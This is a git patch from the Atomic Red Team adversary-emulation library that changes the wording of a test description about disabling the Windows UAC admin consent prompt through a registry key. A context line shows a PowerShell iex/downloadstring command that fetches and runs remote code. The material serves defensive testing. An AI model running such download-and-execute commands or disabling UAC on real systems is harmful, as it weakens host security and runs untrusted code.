From 84cd4177fe3cec6b1637f59a28e2a9573eded292 Mon Sep 17 00:00:00 2001 From: Atomic Red Team doc generator Date: Thu, 13 Oct 2022 17:48:19 +0000 Subject: [PATCH] Generated docs from job=generate-docs branch=master [ci skip] --- atomics/Indexes/index.yaml | 4 ++-- atomics/T1548.002/T1548.002.md | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 7024d530..33f3406f 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -2590,7 +2590,7 @@ defense-evasion: - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8 - description: "Disable User Account Conrol (UAC) for admin by modifying the registry + description: "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), @@ -28983,7 +28983,7 @@ privilege-escalation: - name: Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key auto_generated_guid: 251c5936-569f-42f4-9ac2-87a173b9e9b8 - description: "Disable User Account Conrol (UAC) for admin by modifying the registry + description: "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), diff --git a/atomics/T1548.002/T1548.002.md b/atomics/T1548.002/T1548.002.md index 11e1ab66..c00b16a5 100644 --- a/atomics/T1548.002/T1548.002.md +++ b/atomics/T1548.002/T1548.002.md @@ -1099,7 +1099,7 @@ iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/
## Atomic Test #22 - Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key -Disable User Account Conrol (UAC) for admin by modifying the registry key +Disable User Account Conrol (UAC) for admin by setting the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin to 0. [MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/),